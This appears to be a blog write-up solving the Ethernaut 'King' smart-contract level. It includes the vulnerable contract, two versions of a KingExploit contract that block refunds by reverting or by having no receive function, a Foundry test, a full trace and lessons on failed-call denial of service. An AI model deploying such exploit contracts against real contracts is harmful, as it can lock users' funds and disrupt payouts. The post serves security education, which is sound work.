The goal of this level is to break the game defined by the
King contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract King {
    address payable king;
    address payable public owner;
    uint256 public prize;
    constructor() payable {
        owner = payable(msg.sender);
        king = payable(msg.sender);
        prize = msg.value;
    }
    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        king.transfer(msg.value);
        king = payable(msg.sender);
        prize = msg.value;
    }
    function _king() public view returns (address payable) {
        return king;
    }
}
Here is how the game checks if we passed:
address(instance).call{value: 0}("");
return instance._king() != address(this);
It tries to reclaim the kingship, hence “to break the game” means that we must prevent it from restoring the kingship.
Analysis Link to heading
There are 3 state variables in the King contact:
address payable king;
address payable public owner;
uint256 public prize;
We start with the king and the owner set to a deployer of
the King contract, which is the levelFactory – contract
responsible for setting up the level and checking the winning
conditions.
constructor() payable {
    owner = payable(msg.sender);
    king = payable(msg.sender);
    prize = msg.value;
}
So this is our initial state:
assertEq(level._king(), address(levelFactory));
assertEq(level.prize(), 0);
Now, let’s have a look at the receive function:
 receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = payable(msg.sender);
    prize = msg.value;
}
To become a new king we need to send the same or more ETH than
the current prize. Then the contract will transfer the
current prize to the previous king, set our address as the new
king, and update the prize state variable with the amount of
ETH we sent.
The problem is an assumption that the king.transfer(msg.value)
call will succeed. Imagine that the transfer always fails,
then no one can ever become a new king.
Solution Link to heading
We’ll need another contract for exploit. There are 2 ways to implement it so that it breaks the transfer logic.
- Define neither fallbacknorreceivefunction.
- Implement one of these functions, but immediately revert.
For example, let’s try #2:
 contract KingExploit {
    address payable level;
    constructor(King _king) {
        level = payable(address(_king));
    }
    function run() public payable {
        (bool success,) = level.call{value: msg.value}("");
        require(success, "failed to send ether");
    }
    receive() external payable {
        revert("muhahaha");
    }
}
Now, let’s make it a king:
function exploit() internal override {
    vm.startPrank(player);
    KingExploit expl = new KingExploit(level);
    expl.run{value: 1 wei}();
    vm.stopPrank();
}
This is it! The trace:
$ forge test --match-contract KingTest -vvvv
Running 1 test for src/test/King.t.sol:KingTest
[PASS] testKing() (gas: 431179)
Traces:
  [431179] KingTest::testKing()
    ├─ [215833] KingTest::create()
    │   ├─ [0] VM::prank(player: [...])
    │   │   └─ ← ()
    │   ├─ [203485] Ethernaut::createLevelInstance(KingFactory: [...])
    │   │   ├─ [151922] KingFactory::createInstance(player: [...])
    │   │   │   ├─ [119381] → new King@"0x037f…dd8f"
    │   │   │   │   └─ ← 364 bytes of code
    │   │   │   └─ ← King: [...]
    │   │   ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: King: [...])
    │   │   └─ ← King: [...]
    │   └─ ← King: [...]
    ├─ [287] King::_king() [staticcall]
    │   └─ ← KingFactory: [...]
    ├─ [317] King::prize() [staticcall]
    │   └─ ← 0
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [86666] → new KingExploit@"0xa2f9…f3a7"
    │   └─ ← 321 bytes of code
    ├─ [34652] KingExploit::run{value: 1}()
    │   ├─ [27516] King::fallback{value: 1}()
    │   │   ├─ [55] KingFactory::fallback{value: 1}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [5470] Ethernaut::submitLevelInstance(King: [...])
    │   ├─ [2423] KingFactory::validateInstance(King: [...], player: [...])
    │   │   ├─ [838] King::fallback()
    │   │   │   ├─ [167] KingExploit::fallback()
    │   │   │   │   └─ ← "muhahaha"
    │   │   │   └─ ← "muhahaha"
    │   │   ├─ [287] King::_king() [staticcall]
    │   │   │   └─ ← KingExploit: [...]
    │   │   └─ ← true
    │   ├─ emit LevelCompletedLog(player: player: [...], level: KingFactory: [...])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()
Test result: ok. 1 passed; 0 failed; finished in 1.09ms
Let’s try omitting the receive and fallback functions:
contract KingExploit {
    function run(address _king) public payable {
        (bool success, ) = payable(_king).call{value: msg.value}("");
        require(success, "failed to send ether");
    }
}
Actually, we don’t need to send any Ether because the initial
prize is 0:
function exploit() internal override {
    vm.startPrank(player);
    KingExploit expl = new KingExploit();
    (new KingExploit()).run(address(level));
    vm.stopPrank();
}
This works too 😜
Lessons learned Link to heading
It is important to handle failed transactions properly. When sending ETH always keep in mind that the transaction might fail because of the following reasons:
- The receiving contract has receiveorfallbackfunction that always throws an error/reverts.
- Either of the receiveorfallbackfunctions consumes too much gas (for no reason).
- Absence of the receiveandfallbackfunctions means that a contract cannot receive Ether through regular transactions and throws an exception.
Favor pull over push for external calls.
References Link to heading
- External Calls from Ethereum Smart Contract Best Practices
- SWC-113 – DoS with Failed Call.
- Sending Ether (transfer, send, call) from Solidity by Example.
The code and solution for this challenge is here. Let’s move on to #11 Re-entrancy!